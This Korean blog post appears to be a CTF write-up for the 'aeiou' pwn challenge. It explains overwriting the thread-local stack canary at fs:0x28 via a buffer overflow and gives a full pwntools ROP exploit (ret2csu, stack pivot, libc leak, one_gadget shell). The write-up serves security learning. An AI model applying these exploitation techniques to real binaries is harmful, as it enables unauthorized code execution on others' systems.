728x90

해킹 오랜만에 했는데 너무 재미있다 : )

 

pthread_create 로 스레드를 생성해줄때 해당 스레드에서 사용할 스택이 만들어지게 되는데, 이때 이 스택이 fs:0x28에 있는 canary가 있는 영역과 같은 곳에 할당이 된다고 한다. 그렇기에 bof로 fs:0x28의 값을 원하는 값으로 써서 ROP로 풀면된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
 
= process('./aeiou')
elf = ELF('./aeiou')
libc = ELF("./libc.so.6")
 
s.sendlineafter(">>","3")
 
 
pop_rdi = 0x004026f3
call_csu = 0x00000000004026D0
set_csu = 0x00000000004026E6
pop_rbp = 0x00400c70
leave_ret = 0x004013a8
 
 
pay = "A"*0x1010
pay += "B"*8
pay += p64(pop_rdi)
pay += p64(elf.got['puts'])
pay += p64(elf.plt['puts'])
 
pay += p64(set_csu)
pay += p64(0)
 
pay += p64(0)
pay += p64(1)
pay += p64(elf.got['read'])
pay += p64(0x100)
pay += p64(elf.bss()+0x100)
pay += p64(0)
 
pay += p64(call_csu)
 
 
pay += p64(0)*7
pay += p64(pop_rbp)
pay += p64(elf.bss()+(0x100-0x8))
pay += p64(leave_ret)
 
pay = pay.ljust(0x17f8,"A")
 
s.sendlineafter("number!",str(len(pay)))
s.send(pay)
 
s.recvuntil(":)")
s.recvline()
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['puts']
one_shot = libc_base + 0xf1147
print "libc_base : " + hex(libc_base)
 
s.send(p64(one_shot))
 
s.interactive()
cs

 

 

쓰그삭

'PWN > CTF' 카테고리의 다른 글

[Hack.lu_2014] oreo  (0) 2019.11.12
[SECCON_2018] kindvm  (0) 2019.11.11
[RedpwnCTF_2019] Dennis Says  (0) 2019.08.17
[RCTF 2018] babyheap  (0) 2019.08.14
[HITCON 2016] house_of_orange  (0) 2019.08.13